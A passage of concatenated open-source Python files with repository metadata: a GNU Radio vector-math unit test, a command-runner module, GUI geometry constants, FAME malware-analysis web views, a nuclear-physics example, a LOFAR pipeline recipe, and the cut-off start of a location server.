result_data) # Component doesn't exist def xtest_add_vss_one(self): src1_data = (1,) src2_data = (2,) src3_data = (3,) expected_result = (6,) op = gr.add_vss(1) self.help_ss(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_add_vss_five(self): src1_data = (1, 2, 3, 4, 5) src2_data = (6, 7, 8, 9, 10) src3_data = (11, 12, 13, 14, 15) expected_result = (18, 21, 24, 27, 30) op = gr.add_vss(5) self.help_ss(5, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_add_vii_one(self): src1_data = (1,) src2_data = (2,) src3_data = (3,) expected_result = (6,) op = gr.add_vii(1) self.help_ii(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_add_vii_five(self): src1_data = (1, 2, 3, 4, 5) src2_data = (6, 7, 8, 9, 10) src3_data = (11, 12, 13, 14, 15) expected_result = (18, 21, 24, 27, 30) op = gr.add_vii(5) self.help_ii(5, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_add_vff_one(self): src1_data = (1.0,) src2_data = (2.0,) src3_data = (3.0,) expected_result = (6.0,) op = gr.add_vff(1) self.help_ff(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_add_vff_five(self): src1_data = (1.0, 2.0, 3.0, 4.0, 5.0) src2_data = (6.0, 7.0, 8.0, 9.0, 10.0) src3_data = (11.0, 12.0, 13.0, 14.0, 15.0) expected_result = (18.0, 21.0, 24.0, 27.0, 30.0) op = gr.add_vff(5) self.help_ff(5, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_add_vcc_one(self): src1_data = (1.0+2.0j,) src2_data = (3.0+4.0j,) src3_data = (5.0+6.0j,) expected_result = (9.0+12j,) op = gr.add_vcc(1) self.help_cc(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_add_vcc_five(self): src1_data = (1.0+2.0j, 3.0+4.0j, 5.0+6.0j, 7.0+8.0j, 9.0+10.0j) src2_data = (11.0+12.0j, 13.0+14.0j, 15.0+16.0j, 17.0+18.0j, 19.0+20.0j) src3_data = (21.0+22.0j, 23.0+24.0j, 25.0+26.0j, 27.0+28.0j, 29.0+30.0j) expected_result = (33.0+36.0j, 39.0+42.0j, 45.0+48.0j, 51.0+54.0j, 57.0+60.0j) op = gr.add_vcc(5) self.help_cc(5, (src1_data, src2_data, src3_data), expected_result, op) def test_add_const_vss_one(self): src_data = (1,) op = gr.add_const_vss((2,)) exp_data = (3,) self.help_const_ss(src_data, exp_data, op) def test_add_const_vss_five(self): src_data = (1, 2, 3, 4, 5) op = gr.add_const_vss((6, 7, 8, 9, 10)) exp_data = (7, 9, 11, 13, 15) self.help_const_ss(src_data, exp_data, op) def test_add_const_vii_one(self): src_data = (1,) op = gr.add_const_vii((2,)) exp_data = (3,) self.help_const_ii(src_data, exp_data, op) def test_add_const_vii_five(self): src_data = (1, 2, 3, 4, 5) op = gr.add_const_vii((6, 7, 8, 9, 10)) exp_data = (7, 9, 11, 13, 15) self.help_const_ii(src_data, exp_data, op) def test_add_const_vff_one(self): src_data = (1.0,) op = gr.add_const_vff((2.0,)) exp_data = (3.0,) self.help_const_ff(src_data, exp_data, op) def test_add_const_vff_five(self): src_data = (1.0, 2.0, 3.0, 4.0, 5.0) op = gr.add_const_vff((6.0, 7.0, 8.0, 9.0, 10.0)) exp_data = (7.0, 9.0, 11.0, 13.0, 15.0) self.help_const_ff(src_data, exp_data, op) def test_add_const_vcc_one(self): src_data = (1.0+2.0j,) op = gr.add_const_vcc((2.0+3.0j,)) exp_data = (3.0+5.0j,) self.help_const_cc(src_data, exp_data, op) def test_add_const_vcc_five(self): src_data = (1.0+2.0j, 3.0+4.0j, 5.0+6.0j, 7.0+8.0j, 9.0+10.0j) op = gr.add_const_vcc((11.0+12.0j, 13.0+14.0j, 15.0+16.0j, 17.0+18.0j, 19.0+20.0j)) exp_data = (12.0+14.0j, 16.0+18.0j, 20.0+22.0j, 24.0+26.0j, 28.0+30.0j) self.help_const_cc(src_data, exp_data, op) # Component doesn't exist def xtest_multiply_vss_one(self): src1_data = (1,) src2_data = (2,) src3_data = (3,) expected_result = (6,) op = gr.multiply_vss(1) self.help_ss(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_multiply_vss_five(self): src1_data = (1, 2, 3, 4, 5) src2_data = (6, 7, 8, 9, 10) src3_data = (11, 12, 13, 14, 15) expected_result = (66, 168, 312, 504, 750) op = gr.multiply_vss(5) self.help_ss(5, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_multiply_vii_one(self): src1_data = (1,) src2_data = (2,) src3_data = (3,) expected_result = (6,) op = gr.multiply_vii(1) self.help_ii(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_multiply_vii_five(self): src1_data = (1, 2, 3, 4, 5) src2_data = (6, 7, 8, 9, 10) src3_data = (11, 12, 13, 14, 15) expected_result = (66, 168, 312, 504, 750) op = gr.multiply_vii(5) self.help_ii(5, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_multiply_vff_one(self): src1_data = (1.0,) src2_data = (2.0,) src3_data = (3.0,) expected_result = (6.0,) op = gr.multiply_vff(1) self.help_ff(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_multiply_vff_five(self): src1_data = (1.0, 2.0, 3.0, 4.0, 5.0) src2_data = (6.0, 7.0, 8.0, 9.0, 10.0) src3_data = (11.0, 12.0, 13.0, 14.0, 15.0) expected_result = (66.0, 168.0, 312.0, 504.0, 750.0) op = gr.multiply_vff(5) self.help_ff(5, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_multiply_vcc_one(self): src1_data = (1.0+2.0j,) src2_data = (3.0+4.0j,) src3_data = (5.0+6.0j,) expected_result = (-85+20j,) op = gr.multiply_vcc(1) self.help_cc(1, (src1_data, src2_data, src3_data), expected_result, op) # Component doesn't exist def xtest_multiply_vcc_five(self): src1_data = (1.0+2.0j, 3.0+4.0j, 5.0+6.0j, 7.0+8.0j, 9.0+10.0j) src2_data = (11.0+12.0j, 13.0+14.0j, 15.0+16.0j, 17.0+18.0j, 19.0+20.0j) src3_data = (21.0+22.0j, 23.0+24.0j, 25.0+26.0j, 27.0+28.0j, 29.0+30.0j) expected_result = (-1021.0+428.0j, -2647.0+1754.0j, -4945.0+3704.0j, -8011.0+6374.0j, -11941.0+9860.0j) op = gr.multiply_vcc(5) self.help_cc(5, (src1_data, src2_data, src3_data), expected_result, op) def test_multiply_const_vss_one(self): src_data = (2,) op = gr.multiply_const_vss((3,)) exp_data = (6,) self.help_const_ss(src_data, exp_data, op) def test_multiply_const_vss_five(self): src_data = (1, 2, 3, 4, 5) op = gr.multiply_const_vss((6, 7, 8, 9, 10)) exp_data = (6, 14, 24, 36, 50) self.help_const_ss(src_data, exp_data, op) def test_multiply_const_vii_one(self): src_data = (2,) op = gr.multiply_const_vii((3,)) exp_data = (6,) self.help_const_ii(src_data, exp_data, op) def test_multiply_const_vii_five(self): src_data = (1, 2, 3, 4, 5) op = gr.multiply_const_vii((6, 7, 8, 9, 10)) exp_data = (6, 14, 24, 36, 50) self.help_const_ii(src_data, exp_data, op) def test_multiply_const_vff_one(self): src_data = (2.0,) op = gr.multiply_const_vff((3.0,)) exp_data = (6.0,) self.help_const_ff(src_data, exp_data, op) def test_multiply_const_vff_five(self): src_data = (1.0, 2.0, 3.0, 4.0, 5.0) op = gr.multiply_const_vff((6.0, 7.0, 8.0, 9.0, 10.0)) exp_data = (6.0, 14.0, 24.0, 36.0, 50.0) self.help_const_ff(src_data, exp_data, op) def test_multiply_const_vcc_one(self): src_data = (1.0+2.0j,) op = gr.multiply_const_vcc((2.0+3.0j,)) exp_data = (-4.0+7.0j,) self.help_const_cc(src_data, exp_data, op) def test_multiply_const_vcc_five(self): src_data = (1.0+2.0j, 3.0+4.0j, 5.0+6.0j, 7.0+8.0j, 9.0+10.0j) op = gr.multiply_const_vcc((11.0+12.0j, 13.0+14.0j, 15.0+16.0j, 17.0+18.0j, 19.0+20.0j)) exp_data = (-13.0+34.0j, -17.0+94.0j, -21.0+170.0j, -25.0+262.0j, -29.0+370.0j) self.help_const_cc(src_data, exp_data, op) if __name__ == '__main__': gr_unittest.run(test_add_v_and_friends, "test_add_v_and_friends.xml")
RedhawkSDR/integration-gnuhawk
qa/tests/qa_add_v_and_friends.py
Python
gpl-3.0
13,912
# -*- coding: utf-8 -*- from . import utility from .exception import DataProcessorError import tempfile import functools from logging import getLogger, DEBUG logger = getLogger(__name__) logger.setLevel(DEBUG) class DataProcessorRunnerError(DataProcessorError): """ Exception about starting run """ def __init__(self, runner, args, work_dir, exception): msg = "runner {} failed. args={}, work_dir={}".format(runner, args, work_dir) DataProcessorError.__init__(self, msg) self.runner = runner self.arguments = args self.work_dir = work_dir self.exception = exception runners = {} def runner(func): @functools.wraps(func) def wrapper(args, work_dir): try: func(args, work_dir) except Exception as e: logger.error(str(e)) raise DataProcessorRunnerError(func.__name__, args, work_dir, e) runners[func.__name__] = wrapper return wrapper @runner def sync(args, work_dir): """ execute command in localhost """ with utility.chdir(work_dir): utility.check_call(args) @runner def atnow(args, work_dir): atnow_template = """#!/bin/sh cd {path} {args} """ tmp = tempfile.NamedTemporaryFile() tmp.write(atnow_template.format(path=work_dir, args=" ".join(args))) tmp.flush() utility.check_call(['at', 'now', '-f', tmp.name]) @runner def systemd_user(args, work_dir): """ execute command using systemd-run --user command """ utility.check_call(["systemd-run", "--user", "-p", "WorkingDirectory={}".format(work_dir)] + args)
kenbeese/DataProcessor
lib/dataprocessor/runner.py
Python
gpl-3.0
1,629
#!/usr/bin/env python3 class Widget_geometries: ''' Class for holding information about widnow and elements geometries. ''' def __init__(self, settings): ''' Class container for the all dimensions of all elements used in the GUI. Args: settings: instance - class Settings. ''' self.settings = settings self.marker_size = 10 self.min_marker_size = 4 self.max_marker_size = 20 self.toolbar_width = 250 self.scrollbar_thickness = 18 self.main_frame_width = self.settings.adjusted_screen_width self.main_frame_height = self.settings.adjusted_screen_height - 20 self.picture_frame_width = self.main_frame_width - self.toolbar_width self.picture_frame_height = self.main_frame_height self.canvas_frame_width = self.picture_frame_width - self.scrollbar_thickness self.canvas_frame_height = self.picture_frame_height - self.scrollbar_thickness self.notebook_width = self.toolbar_width - 5 self.notebook_height = self.main_frame_height - 44 self.sample_frame_width = self.notebook_width self.sample_frame_height = 53 self.clear_all_markers_frame_width = self.notebook_width self.clear_all_markers_frame_height = 30 # Option tab self.qualifiers_options_frame_width = 245 - 10 self.qualifiers_options_frame_height = 265 self.markers_options_frame_width = 245 - 10 self.markers_options_frame_height = 50 # Statistics tab self.qualifier_single_frame_width = self.qualifiers_options_frame_width - 8 self.qualifier_single_frame_height = 47 self.qualifier_single_frame_spacing = 48 self.statistics_column_offset = 40 self.statistics_sample_row_offset = 3 self.statistics_percent_row_offset = 27 self.statistics_label_x = 7 self.statistics_percent_label_y = 30 self.statistics_label_y = 6 # About window self.about_window_width = 255 self.about_window_height = 150 self.about_window_x = int(self.settings.adjusted_screen_width / 2 - self.about_window_width / 2) self.about_window_y = int(self.settings.adjusted_screen_height / 2 - self.about_window_height / 2) # Jpg export window self.jpg_export_window_width = 260 self.jpg_export_window_height = 120 self.jpg_export_window_x = int(self.settings.adjusted_screen_width / 2 - self.jpg_export_window_width / 2) self.jpg_export_window_y = int(self.settings.adjusted_screen_height / 2 - self.jpg_export_window_height / 2) # Png export window self.png_export_window_width = 260 self.png_export_window_height = 150 self.png_export_window_x = int(self.settings.adjusted_screen_width / 2 - self.jpg_export_window_width / 2) self.png_export_window_y = int(self.settings.adjusted_screen_height / 2 - self.jpg_export_window_height / 2) # Tif export window self.tif_export_window_width = 260 self.tif_export_window_height = 150 self.tif_export_window_x = int(self.settings.adjusted_screen_width / 2 - self.jpg_export_window_width / 2) self.tif_export_window_y = int(self.settings.adjusted_screen_height / 2 - self.jpg_export_window_height / 2)
mariuszkowalski/BioCounter
gui/widgets_geometries.py
Python
gpl-3.0
3,371
import os from io import BytesIO from shutil import copyfileobj from hashlib import md5 from pymongo import DESCENDING from flask import ( render_template, url_for, request, flash, make_response, abort, jsonify ) from flask_login import current_user from flask_classful import FlaskView, route from flask_paginate import Pagination from werkzeug.utils import secure_filename from fame.common.config import fame_config from fame.core.module_dispatcher import dispatcher from fame.core.store import store from fame.core.file import File from fame.core.config import Config from fame.core.analysis import Analysis from fame.core.module import ModuleInfo from web.views.negotiation import render, redirect, validation_error from web.views.constants import PER_PAGE from web.views.helpers import ( file_download, get_or_404, requires_permission, clean_analyses, clean_files, clean_users, comments_enabled, enrich_comments ) from web.views.mixins import UIView def get_options(): options = {} for option_type in ['str', 'integer', 'text']: for option in dispatcher.options[option_type]: value = request.form.get("options[{}]".format(option)) if value is None: flash('Missing option: {}'.format(option), 'danger') return None if option_type == 'integer': try: options[option] = int(value, 0) except Exception: flash('{} must be an integer'.format(option), 'danger') return None else: options[option] = value for option in list(dispatcher.options['bool'].keys()) + ['magic_enabled']: value = request.form.get("options[{}]".format(option)) options[option] = (value is not None) and (value not in ['0', 'False']) return options class AnalysesView(FlaskView, UIView): def index(self): """Get the list of analyses. .. :quickref: Analysis; Get the list of analyses Response is paginated and will only contain 25 results. The most recent analyses appear first. :query page: page number. :type page: int :>json list analyses: list of analyses (see :http:get:`/analyses/(id)` for details on the format of an analysis). """ page = int(request.args.get('page', 1)) analyses = current_user.analyses.find().sort('_id', DESCENDING).limit(PER_PAGE).skip((page - 1) * PER_PAGE) pagination = Pagination(page=page, per_page=PER_PAGE, total=analyses.count(), css_framework='bootstrap3') analyses = {'analyses': clean_analyses(list(analyses))} for analysis in analyses['analyses']: file = current_user.files.find_one({'_id': analysis['file']}) analysis['file'] = clean_files(file) if 'analyst' in analysis: analyst = store.users.find_one({'_id': analysis['analyst']}) analysis['analyst'] = clean_users(analyst) return render(analyses, 'analyses/index.html', ctx={'data': analyses, 'pagination': pagination}) def get(self, id): """Get the analysis with `id`. .. :quickref: Analysis; Get an analysis Resulting object is in the ``analysis`` field. :param id: id of the analysis. :>json dict _id: ObjectId dict. :>json dict analyst: analyst's ObjectId. :>json dict date: date dict. :>json list executed_modules: list of executed modules. :>json list pending_modules: list of pending modules. :>json list waiting_modules: list of waiting modules. :>json list canceled_modules: list of canceled modules. :>json list executed_modules: list of executed modules. :>json string module: the name of the target module. :>json string status: status of the analysis (one of `pending`, `running`, `finished` or `error`). :>json list tags: the list of tags. :>json list probable_names: the list of probable names. :>json list iocs: list of dict describing observables. :>json dict results: detailed results for each module, with the module name being the key. :>json dict generated_files: a dict of generated files, the key being the file type. :>json list extracted_files: a list of extracted files. :>json dict support_files: a dict of support files, the key being the module name. """ analysis = {'analysis': clean_analyses(get_or_404(current_user.analyses, _id=id))} file = current_user.files.find_one({'_id': analysis['analysis']['file']}) analysis['analysis']['file'] = enrich_comments(clean_files(file)) ti_modules = [m for m in dispatcher.get_threat_intelligence_modules()] av_modules = [m.name for m in dispatcher.get_antivirus_modules()] if 'extracted_files' in analysis['analysis']: files = [] for id in analysis['analysis']['extracted_files']: files.append(current_user.files.find_one({'_id': id})) analysis['analysis']['extracted_files'] = clean_files(files) modules = dict() for module in ModuleInfo.get_collection().find(): modules[module['name']] = ModuleInfo(module) return render(analysis, 'analyses/show.html', ctx={ 'analysis': analysis, 'modules': modules, 'av_modules': av_modules, 'ti_modules': ti_modules, 'comments_enabled': comments_enabled() }) def new(self): return render_template('analyses/new.html', options=dispatcher.options, comments_enabled=comments_enabled()) def _validate_form(self, groups, modules, options): for group in groups: if group in current_user['groups']: break else: flash('You have to at least share with one of your groups.', 'danger') return False if modules: for module in modules: if not ModuleInfo.get(name=module): flash('"{}" is not a valid module'.format(module), 'danger') return False else: if not options['magic_enabled']: flash('You have to select at least one module to execute when magic is disabled', 'danger') return False return True def _validate_comment(self, comment): config = Config.get(name="comments") if config: config = config.get_values() if config['enable'] and config['minimum_length'] > len(comment): flash( 'Comment has to contain at least {} characters'.format(config['minimum_length']), 'danger') return False return True def _get_object_to_analyze(self): file = request.files.get('file') or None url = request.form.get('url') or None hash = request.form.get('hash') or None f = None if file: f = File(filename=file.filename, stream=file.stream) elif url: stream = BytesIO(url.encode('utf-8')) f = File(filename='url', stream=stream) if not f.existing: f.update_value('type', 'url') f.update_value('names', [url]) elif hash: f = File(hash=hash) else: flash('You have to submit a file, a URL or a hash', 'danger') return f def post(self): """Create a new analysis. .. :quickref: Analysis; Create an analysis Launch a new analysis. You have to specify on which object this analysis will be made, by specifying one of: * ``file_id`` for an existing object * ``file`` for file uploads * ``url`` * ``hash`` if VirusTotal sample retrieval is enabled. You should also supply all enabled analysis options with the name ``options[OPTION_NAME]``. For boolean options, any value different than ``0`` or ``False`` means the option is enabled. If the submitted object already exists (and ``file_id`` was not specified), the response will be a file object. When a new analysis was successfuly created, the analysis object will be returned, in the ``analysis`` field. If there was error in your submission, they will be returned in the ``errors`` field. **Example request**:: headers = { 'Accept': "application/json", 'X-API-KEY': FAME_API_KEY } with open(filepath, 'rb') as f: params = { 'options[allow_internet_access]': "on", 'options[analysis_time]': "300", 'groups': "cert" } files = { 'file': f } r = requests.post(ENDPOINT, data=params, files=files, headers=headers) :form string file_id: (optional) the id of the object on which this analysis should run. :form file file: (optional) file to analyze. :form string url: (optional) url to analyze. :form string hash: (optional) hash to analyze. :form string module: (optional) the name of the target module. :form string groups: a comma-separated list of groups that will have access to this analysis. :form string comment: comment to add to this object. :form string option[*]: value of each enabled option. """ file_id = request.form.get('file_id') modules = [_f for _f in request.form.get('modules', '').split(',') if _f] groups = request.form.get('groups', '').split(',') comment = request.form.get('comment', '') options = get_options() if options is None: return validation_error() valid_submission = self._validate_form(groups, modules, options) if not valid_submission: return validation_error() if file_id is not None: f = File(get_or_404(current_user.files, _id=file_id)) analysis = {'analysis': f.analyze(groups, current_user['_id'], modules, options)} return redirect(analysis, url_for('AnalysesView:get', id=analysis['analysis']['_id'])) else: # When this is a new submission, validate the comment if not self._validate_comment(comment): return validation_error() f = self._get_object_to_analyze() if f is not None: f.add_owners(set(current_user['groups']) & set(groups)) if comment: f.add_comment(current_user['_id'], comment) if f.existing: f.add_groups(groups) flash("File already exists, so the analysis was not launched.") return redirect(clean_files(f), url_for('FilesView:get', id=f['_id'])) else: analysis = {'analysis': clean_analyses(f.analyze(groups, current_user['_id'], modules, options))} analysis['analysis']['file'] = clean_files(f) return redirect(analysis, url_for('AnalysesView:get', id=analysis['analysis']['_id'])) else: return render_template('analyses/new.html', options=dispatcher.options) @requires_permission("submit_iocs") @route('/<id>/submit_iocs/<module>', methods=["POST"]) def submit_iocs(self, id, module): """Submit observables to a Threat Intelligence module. .. :quickref: Analysis; Submit observables to a threat intelligence module If succesful, the response will be ``"ok"``. :param id: id of the analysis. :param module: name of the module to submit the file to. :<jsonarr string value: the value of the observable. :<jsonarr list tags: a list of tags associated to it. """ analysis = Analysis(get_or_404(current_user.analyses, _id=id)) for ti_module in dispatcher.get_threat_intelligence_modules(): if ti_module.name == module: ti_module.iocs_submission(analysis, request.json) analysis.update_value(['threat_intelligence', module], True) return make_response("ok") @requires_permission('worker') @route('/<id>/get_file/<filehash>') def get_file(self, id, filehash): analysis = Analysis(get_or_404(current_user.analyses, _id=id)) for file_type in analysis['generated_files']: for filepath in analysis['generated_files'][file_type]: filepath = filepath.encode('utf-8') if filehash == md5(filepath).hexdigest(): return file_download(filepath) filepath = analysis._file['filepath'].encode('utf-8') if filehash == md5(filepath).hexdigest(): return file_download(analysis.get_main_file()) return abort(404) def _save_analysis_file(self, id, path): file = request.files['file'] analysis = Analysis(get_or_404(current_user.analyses, _id=id)) dirpath = os.path.join(path, str(analysis['_id'])) filepath = os.path.join(dirpath, secure_filename(file.filename)) # Create parent dirs if they don't exist try: os.makedirs(dirpath) except OSError: pass with open(filepath, "wb") as fd: copyfileobj(file.stream, fd) return filepath @requires_permission('worker') @route('/<id>/generated_file', methods=['POST']) def add_generated_file(self, id): filepath = self._save_analysis_file(id, os.path.join(fame_config.temp_path, 'generated_files')) return jsonify({'path': filepath}) @requires_permission('worker') @route('/<id>/support_file/<module>', methods=['POST']) def add_support_file(self, id, module): filepath = self._save_analysis_file(id, os.path.join(fame_config.storage_path, 'support_files', module)) return jsonify({'path': filepath}) @route('/<id>/download/<module>/<filename>') def download_support_file(self, id, module, filename): """Download a support file. .. :quickref: Analysis; Download a support file. :param id: id of the analysis. :param module: name of the module. :param filename: name of the file to download. """ analysis = get_or_404(current_user.analyses, _id=id) filepath = os.path.join(fame_config.storage_path, 'support_files', module, str(analysis['_id']), secure_filename(filename)) if os.path.isfile(filepath): return file_download(filepath) else: # This code is here for compatibility # with older analyses filepath = os.path.join(fame_config.storage_path, 'support_files', str(analysis['_id']), secure_filename(filename)) if os.path.isfile(filepath): return file_download(filepath) else: abort(404) @route('/<id>/refresh-iocs') def refresh_iocs(self, id): """Refresh IOCs with Threat Intel modules .. :quickref: Analysis; Refresh IOCs with Threat Intel modules. :param id: id of the analysis. """ analysis = Analysis(get_or_404(current_user.analyses, _id=id)) analysis.refresh_iocs() return redirect(analysis, url_for('AnalysesView:get', id=analysis["_id"]))
certsocietegenerale/fame
web/views/analyses.py
Python
gpl-3.0
15,600
# # SFHo/SFHx example for O$_2$sclpy # See the O$_2$sclpy documentation at # https://neutronstars.utk.edu/code/o2sclpy for more information. # + import o2sclpy import matplotlib.pyplot as plot import numpy import sys plots=True if 'pytest' in sys.modules: plots=False # - # Link the O$_2$scl library: link=o2sclpy.linker() link.link_o2scl() # Get the value of $\hbar c$ from an O$_2$scl find_constants object: fc=o2sclpy.find_constants(link) hc=fc.find_unique('hbarc','MeV*fm') print('hbarc = %7.6e' % (hc)) # Get a copy (a pointer to) the O$_2$scl unit conversion object: cu=link.o2scl_settings.get_convert_units() sfho=o2sclpy.eos_had_rmf(link) o2sclpy.rmf_load(link,sfho,'SFHo') sfhx=o2sclpy.eos_had_rmf(link) o2sclpy.rmf_load(link,sfhx,'SFHx') # Compute nuclear saturation and output the saturation density # and binding energy: sfho.saturation() print(('SFHo: n0=%7.6e 1/fm^3, E/A=%7.6e MeV, K=%7.6e MeV, '+ 'M*/M=%7.6e, S=%7.6e MeV, L=%7.6e MeV') % (sfho.n0,sfho.eoa*hc,sfho.comp*hc,sfho.msom,sfho.esym*hc, sfho.fesym_slope(sfho.n0)*hc)) print('') sfhx.saturation() print(('SFHx: n0=%7.6e 1/fm^3, E/A=%7.6e MeV, K=%7.6e MeV, '+ 'M*/M=%7.6e, S=%7.6e MeV, L=%7.6e MeV') % (sfhx.n0,sfhx.eoa*hc,sfhx.comp*hc,sfhx.msom,sfhx.esym*hc, sfhx.fesym_slope(sfhx.n0)*hc)) print('') # + #xarr=[i*0.02+0.02 for i in range(0,16)] #for T in numpy.arange(0,20,5): # sfho.calc_ # - def test_fun(): assert numpy.allclose(sfho.n0,0.1582415,rtol=1.0e-4) assert numpy.allclose(sfhx.n0,0.1600292,rtol=1.0e-4) return
awsteiner/o2sclpy
doc/static/examples/SFHo_SFHx.py
Python
gpl-3.0
1,575
from __future__ import with_statement import sys import lofarpipe.support.lofaringredient as ingredient from lofarpipe.support.baserecipe import BaseRecipe from lofarpipe.support.remotecommand import RemoteCommandRecipeMixIn from lofarpipe.support.remotecommand import ComputeJob from lofarpipe.support.data_map import DataMap, validate_data_maps, \ align_data_maps class selfcal_finalize(BaseRecipe, RemoteCommandRecipeMixIn): """ The Imager_finalizer performs a number of steps needed for integrating the msss_imager_pipeline in the LOFAR framework: It places the image on the output location in the correcy image type (hdf5). It also adds some meta data collected from the individual measurement sets and the found data. This recipe does not have positional commandline arguments """ inputs = { 'awimager_output_map': ingredient.FileField( '--awimager-output-mapfile', help="""Mapfile containing (host, path) pairs of created sky images """ ), 'ms_per_image_map': ingredient.FileField( '--ms-per-image-map', help='''Mapfile containing (host, path) pairs of mapfiles used to create image on that node''' ), 'sourcelist_map': ingredient.FileField( '--sourcelist-map', help='''mapfile containing (host, path) pairs to a list of sources found in the image''' ), 'sourcedb_map': ingredient.FileField( '--sourcedb_map', help='''mapfile containing (host, path) pairs to a db of sources found in the image''' ), 'target_mapfile': ingredient.FileField( '--target-mapfile', help="Mapfile containing (host, path) pairs to the concatenated and" "combined measurement set, the source for the actual sky image" ), 'minbaseline': ingredient.FloatField( '--minbaseline', help='''Minimum length of the baseline used for the images''' ), 'maxbaseline': ingredient.FloatField( '--maxbaseline', help='''Maximum length of the baseline used for the images''' ), 'output_image_mapfile': ingredient.FileField( '--output-image-mapfile', help='''mapfile containing (host, path) pairs with the final output image (hdf5) location''' ), 'processed_ms_dir': ingredient.StringField( '--processed-ms-dir', help='''Path to directory for processed measurment sets''' ), 'fillrootimagegroup_exec': ingredient.ExecField( '--fillrootimagegroup_exec', help='''Full path to the fillRootImageGroup executable''' ), 'placed_image_mapfile': ingredient.FileField( '--placed-image-mapfile', help="location of mapfile with processed and correctly placed," " hdf5 images" ), 'placed_correlated_mapfile': ingredient.FileField( '--placed-correlated-mapfile', help="location of mapfile with processedd and correctly placed," " correlated ms" ), 'concat_ms_map_path': ingredient.FileField( '--concat-ms-map-path', help="Output of the concat MS file" ), 'output_correlated_mapfile': ingredient.FileField( '--output-correlated-mapfile', help="location of mapfile where output paths for mss are located" ), 'msselect_executable': ingredient.ExecField( '--msselect-executable', help="The full path to the msselect executable " ), } outputs = { 'placed_image_mapfile': ingredient.StringField(), 'placed_correlated_mapfile': ingredient.StringField(), } def go(self): """ Steps: 1. Load and validate the input datamaps 2. Run the node parts of the recipe 3. Validate node output and format the recipe output """ super(selfcal_finalize, self).go() # ********************************************************************* # 1. Load the datamaps awimager_output_map = DataMap.load( self.inputs["awimager_output_map"]) ms_per_image_map = DataMap.load( self.inputs["ms_per_image_map"]) sourcelist_map = DataMap.load(self.inputs["sourcelist_map"]) sourcedb_map = DataMap.load(self.inputs["sourcedb_map"]) target_mapfile = DataMap.load(self.inputs["target_mapfile"]) output_image_mapfile = DataMap.load( self.inputs["output_image_mapfile"]) concat_ms_mapfile = DataMap.load( self.inputs["concat_ms_map_path"]) output_correlated_map = DataMap.load( self.inputs["output_correlated_mapfile"]) processed_ms_dir = self.inputs["processed_ms_dir"] fillrootimagegroup_exec = self.inputs["fillrootimagegroup_exec"] # Align the skip fields align_data_maps(awimager_output_map, ms_per_image_map, sourcelist_map, target_mapfile, output_image_mapfile, sourcedb_map, concat_ms_mapfile, output_correlated_map) # Set the correct iterator sourcelist_map.iterator = awimager_output_map.iterator = \ ms_per_image_map.iterator = target_mapfile.iterator = \ output_image_mapfile.iterator = sourcedb_map.iterator = \ concat_ms_mapfile.iterator = output_correlated_map.iterator = \ DataMap.SkipIterator # ********************************************************************* # 2. Run the node side of the recupe command = " python %s" % (self.__file__.replace("master", "nodes")) jobs = [] for (awimager_output_item, ms_per_image_item, sourcelist_item, target_item, output_image_item, sourcedb_item, concat_ms_item, correlated_item) in zip( awimager_output_map, ms_per_image_map, sourcelist_map, target_mapfile, output_image_mapfile, sourcedb_map, concat_ms_mapfile, output_correlated_map): # collect the files as argument arguments = [awimager_output_item.file, ms_per_image_item.file, sourcelist_item.file, target_item.file, output_image_item.file, self.inputs["minbaseline"], self.inputs["maxbaseline"], processed_ms_dir, fillrootimagegroup_exec, self.environment, sourcedb_item.file, concat_ms_item.file, correlated_item.file, self.inputs["msselect_executable"],] self.logger.info( "Starting finalize with the folowing args: {0}".format( arguments)) jobs.append(ComputeJob(target_item.host, command, arguments)) self._schedule_jobs(jobs) # ********************************************************************* # 3. Validate the performance of the node script and assign output succesful_run = False for (job, output_image_item, output_correlated_item) in zip(jobs, output_image_mapfile, output_correlated_map): if not "hdf5" in job.results: # If the output failed set the skip to True output_image_item.skip = True output_correlated_item = True else: succesful_run = True # signal that we have at least a single run finished ok. # No need to set skip in this case if not succesful_run: self.logger.warn("Not a single finalizer succeeded") return 1 # Save the location of the output images output_image_mapfile.save(self.inputs['placed_image_mapfile']) self.logger.debug( "Wrote mapfile containing placed hdf5 images: {0}".format( self.inputs['placed_image_mapfile'])) # save the location of measurements sets output_correlated_map.save(self.inputs['placed_correlated_mapfile']) self.logger.debug( "Wrote mapfile containing placed mss: {0}".format( self.inputs['placed_correlated_mapfile'])) self.outputs["placed_image_mapfile"] = self.inputs[ 'placed_image_mapfile'] self.outputs["placed_correlated_mapfile"] = self.inputs[ 'placed_correlated_mapfile'] return 0 if __name__ == '__main__': sys.exit(selfcal_finalize().main())
jjdmol/LOFAR
CEP/Pipeline/recipes/sip/master/selfcal_finalize.py
Python
gpl-3.0
9,208
#!/usr/bin/env python # Copyright (c) 2013 Maxim Kovalev, Carnegie Mellon University # This file is part of Locationing Server. # # Locationing Server is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Locationing Server is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Locationing Server. If not, see <http://www.gnu.org/licenses/>. from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from SocketServer import ThreadingMixIn import threading import cgi import re import json import os import lxml.html import locationestimator import locationresolver import datamanager import jsonparser debug = True json_parser = None data_manafer = None location_resolver = None save_readings = True respond_with_location = True http_server = None dumpfile = None class HTTPRequestHandler(BaseHTTPRequestHandler): def address_string(self): #Fix for the slow response host, _ = self.client_address[:2] return host def do_POST(self): global debug, json_parser, data_manager, location_resolver, save_readings, respond_with_location, dumpfile if debug: print 